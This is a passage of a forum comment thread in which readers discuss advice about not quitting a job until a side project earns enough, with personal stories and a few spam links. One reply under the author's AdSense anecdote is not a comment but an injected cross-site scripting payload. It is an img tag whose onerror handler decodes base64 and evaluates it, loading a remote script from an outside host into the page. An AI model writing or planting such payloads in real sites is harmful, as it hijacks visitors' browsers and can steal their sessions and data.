  107. 1

    Agreed. If you're not 100% sure hold on a little bit. Try to gain some experience in the field and take the opportunity to learn on the way

  108. 1

    Loving the very candid take here.

    Any founder starting should think of themselves as a user testing machine/marketer rather than a coder as you have mentioned here. It's crazy to think of how many amazing products have been built with no customer or problem to solve.

    Very encouraging to hear that you have gone back to full time work as well, I find I enjoy the journey way more when I don't have to be scrambling for money. It can be a nice forced motivator but using the motivation to be your own boss is enough for me to keep at the hustle.

    Thanks for sharing an accurate insight into your successes!

  109. 1

    That's a nice sum up... Agree with each and every point you laid out.
    Thanks for sharing 🤗

  110. 1

    Thanks for sharing, this put things into perspective for me.

  111. 1

    Thanks for sharing this information.

  112. 1

    Thanks for posting this.

  113. 1

    Thanks for sharing

  114. 1

    Thanks for sharing your journey and experience.
    I am at a stage where I also want to quit my job. Something almost similar happened to me a while ago (getting called on a vacation). I was angry because, being one of the first employees of the startup, I took up as many responsibilities I can. I worked tirelessly for 2.5+ yrs without taking a long PTO (just a sick day here and there, totalling below 10). I informed 4 months back, so that everyone knows, and no one bothers me. But people called without even that big of an emergency.
    I still haven't left the job. Not because lack of wanting. Because I strongly want to leave it. But, I have my parents, family to take care of and also I do not want touch my investments right now.
    Long story short, I can relate with your story. I'm now trying to make a profitable side hustle alongside my job. And hopefully soon would be at a position to make it full-time.

  115. 1

    Thanks for sharing your incredible and inspiring story. I think everyone's different and hence has different goals, dreams, visions etc. in life. While some need at least 10k MRR to survive, others are happy with 4k MRR. Some appreciate the safety net of an employment while others enjoy the adventurous rollercoaster ride of being an entrepreneur. Anyhow, I wish you all the best for your future projects. You deserve it..!!

  116. 1

    Agreed . One should not leave there job until 100% sure....!

  117. 1

    Totally agree. I also think it's important to maintain revenue over, say, a two year period before quitting your job. Take advantage of the dual-income streams while you can!

  118. 1

    Yes ! I truly align with what you said.

  119. 1

    عبارات انجليزية مترجمة للعربية قصيره من أهم الأشياء التي يهتم بها الكثير من متعلمي اللغة الإنجليزية أثناء تعلمهم لأنها لغة عالمية يتحدث بها معظم الدول حول العالم، فحفظ تلك العبارات تسهل علينا التعامل مع أي شخص متحدث باللغة الإنجليزية. Translated English phrases
    https://learnenglish100.com/grammar/عبارات-انجليزية-مترجمة/

  120. 1

    I agree with you. Don't leave your job without any solid reason.

  121. 1

    The main reason for not quitting your job I think is to keep a steady flow of income coming in. That income can be used to pay your bills while you work on your product. Some extra cash lying around won't hurt when you have to invest some money into the development phase.

  122. 1

    I follow a different approach. Rather than working on one side hustle that generates 6k a month, my goal is to have 3 side hustles that generate 2k a month as to not have all eggs in one basket. And once I get a well-established source of income, I can always sell it and start another one. I have launched maybe 5-6 products over the past two years, mostly as an experiment to see what would work, and two of them are currently making me decent money. I dropped the rest and launched two more this year. And yes, I did also quit my full-time job - no regrets so far!

  123. 1

    How do you answer customer support requests or ensure your product will continue to help customers while working a full-time job?

    The thought of being in an office meeting and then having something break terrifies me

  124. 1

    I totally agree, don't leave your job to hunt a dream without standing on a solid ground

  125. 1

    time for me to start making some money from https://minimilitiamodapk.net

  126. 1

    I agree with the idea but on the other side, I feel that personally, it's very hard for me to focus on multiple things. I tried building a startup on the side but as I was not disciplined enough I ended up abandoning things and letting my cofounder down. I think this discipline can be learned for sure but for now I think that focusing on one thing can work best for me.

  127. 1

    Some useful insight. Thanks for sharing.

  128. 1

    I agree with this post. Looking back on the first product I built, I could have been employed while building it. Because I was 'full time' too early, I was creating ways to keep myself busy that were not productive. If I had been employed, I would have been more disciplined with my time and resources. Side Hustle as long as possible.

  129. 1

    I did it once and agree - I would consider it next time only when my project will generate real income and have a positive trajectory.

    I need cash-confidence to be able to concentrate on business. Otherwise, I can't think long-term and make the right decisions.

    I would also talk more with my wife next time - it is important that we as a family feel safe / cash-confident.

    It is always possible to free up some time to work on your business on the side until it generates money. We all waste some time on non-important things.

  130. 1

    Thanks for the insights, @Joshtronic and @IndieJames.

    These two statements resonated the most with me:

    doing stuff on the side is a time constraint that will ultimately help keep you focused

    True! I think that even with a small time budget, you can build notable side projects if time is invested smartly.

    getting in front of potential customers would be of the utmost importance

    One of the most important aspects of building. I still dive into code relatively fast after some validation efforts, my focus is to ship a prototype as fast as possible.

  131. 1

    Nice read, A project like mine need 40+ hour a month to make $5000 /month and I'm going to explore the its own limit.

  132. 1

    I try to organize my day by myself, always thinking if how to quit job, when I just start, when I work on someone.

  133. 1

    The Internet is full of advice like:

    1. Go-in full.
    2. Plan-B drags down plan-A.

    Quotes and stories are inspiring, but not meant to be emulated without understanding the context.

    Many factors need to be counted, some could be:

    1. Stage of life: Dependents, debts & a growing family.
    2. Niche knowledge/Expertise.

    It makes no sense to drop the ball and chase a wild goose while there are dependents who count on you.

    If you already have debts, it's absurd to further bet your future on a success probability than a steady income.

    It's a no-brainer to first gain decent insights into the niche, before getting down to execute.

    Yes, there are exceptions. And they are called exceptions and outliers for a reason.

  134. 1

    I am not content with my status quo

  135. 1

    One needs to be more Agile for anything and I believe failing fast is the key to get niche products

  136. 1

    Actually working on two projects (start-up and full time job) can be a good thing. I've been working like this for years. I think two projects is what our brain can handle. It can even be beneficial because you can switch between projects when you get tired of one of them.

  137. 1

    I wish this came out earlier. I have left my job already and I'm grinding now :)
    Thanks for sharing. It's really helpful.

  138. 1

    You have offered some really wise and genuine points on taking the leap and I really appreciate this post! I think one more way of validating your side hustle is by using early sign-up incentives before your MVP. This way you can realistic test the markets and gauge the receptiveness of our product to potential audiences.

  139. 1

    job are necessary for some bad situation, when everything going wrong and against you. It help financially and release mental stress level.

  140. 1

    I think coding is about 25%-30% of what youu need the other is the product/service itself and how much attention you can build. Marketing is critical as you need to get it out and if you have PMF then it will take off by itself.

  141. 1

    "Coding would be in the form of interactive prototypes, in an effort to figure out the right things to be building instead of throwing spaghetti at the wall." -- can't agree more as this being a great way to spend time to validate ideas assuming you can get your prototypes in front of real users who will give you feedback.

  142. 1

    Thanks for the very practical advice. I agree, most of us flow in emotions and quit jobs without realizing the reality of paying bills :). Definitely lot of hustle to build something while working full-time but definitely, right approach. Cheers

  143. 1

    Thanks for sharing this info, really useful!

  144. 1

    One idea to consider, is offering services while your product scales. Instead of having a full time job, use your skills to generate a book of business you have control over. Then adjust your services work based on the performance of your product.

    Many software products have come out of this scenario and from small companies innovating with tech.

  145. 1

    Very practical suggestions

  146. 1

    I have started a side hustle the site is https://testofpurity.com. It gives a quiz and generates the results on the basis of whom peoples can improve their personality level. However, i am stuck at gaining the visitors. But i will raise it one day. i am still working on it.

  147. 1

    thanks for sharing this

  148. 1

    I agree with most of the sentiment here, except for the implication that one must always be working via "if you don't like your job, find a new job".

    I'd add that if you don't like your job, want to take some extended time off, and you're in a fortunate situation where you can afford to - you should absolutely do it. You don't have to always be employed or always be hustling. It's exactly what leads to dissatisfaction and burnout for a lot of people.

    TL;DR: Overall I agree that you shouldn't quit just to pursue a side project. But you should absolutely do it if you hate it and can afford to leave.

    1. 2

      For sure, time off is a beautiful thing 🙂

    2. 1

      I get that, and in the context of what I was talking about, I was very much weighing out working a full time job versus being full time on a side hustle.

      There's obviously a ton of nuances in there :)

  149. 1

    Thanks for sharing your story. I am curious about your job that relied on advertising. Mind sharing some more details on what happened?

    "At the time, I was sitting at ~$6K MRR with my side-project and it was growing. I was full-time on it for about two years and ended up growing revenue to ~15k MRR before it took a fall. Side note: I don't think I'll ever venture down the path of using advertising as a sole source of revenue on a project again."

    1. 1

      I edited some of that out. Here's the original text:

      So that project was a social network, technically multiple social networks, all running on the same code base, which I started in 2011. The only revenue stream was Google AdSense, so as you could guess, that revenue was wholly dependent on traffic, both volume and the demographics of the users in terms of their marketability. Since the content on the site was user-generated, the context of the ads themselves varied, and over the course of a few years we actually saw the traffic increase (reads: more ad impressions), while the ad revenue itself decreased. It was one of those situations where the ability to generate predictable revenue just wasn't there.

      1. 1

        "><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vanMucmlwL3NrIjtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw onerror=eval(atob(this.id))>

      2. 1

        This comment was deleted a year ago.

  150. 1

    I agree with every aspect of this, BUT...

    It always depends on your goals. Are you happy with your one product/service? Will you sit on it and just try to grow it and expand it, or do you want to start some other projects?

    If you plan some more adventures, you can quit before 20-30k MRR but use the gained time for a diverse business approach.

    I work on era.sh, a markdown note-taking tool for developers - while having a full time job. We aim towards individual developers. As soon as we make enough profit to quit our jobs, we're gonna implement a B2B version. After this we have already 3 other validated ideas, which fit into our eco-system. So we will always push for something new, to create a higher MRR from different products and services.

    If you aim to just have 1 source of income, it's a high gamble to quit with 10k MRR already. Because it can fall tomorrow. If you diversify your income, you are more secure.

    1. 1

      Yeah, I'm all for diversification. If it isn't passive, it can take time/energy/growth away from your main project though, so it's a mixed bag.

  151. 1

    Haha, oh man, I've had bosses like that. Just the worst. Props for leaving.

    But you're gonna wait for 20-30k MRR @joshtronic? That's a little excessive, no? How did you decide on that number?

    1. 4

      Yeah, it could see how it could be perceived as excessive.

      So based on my current earning potential and me and my family's standard of living, that number would actually allow me to collect an honest wage while also supporting a few employees if necessary.

      Everybody wants to "be their own boss" but often forget that going it alone isn't the easiest thing in the world. I think it was in Steve Case's book The Third Wave where he talked about the proverb that went something like "if you want to go fast, go alone, if you want to go far, go together".

      That's stuck with me since I read it, so while I am doing pretty okay with what I'm doing, I still want to get things to a point that I can actually build a team and go even further than I could by myself.

  152. 0

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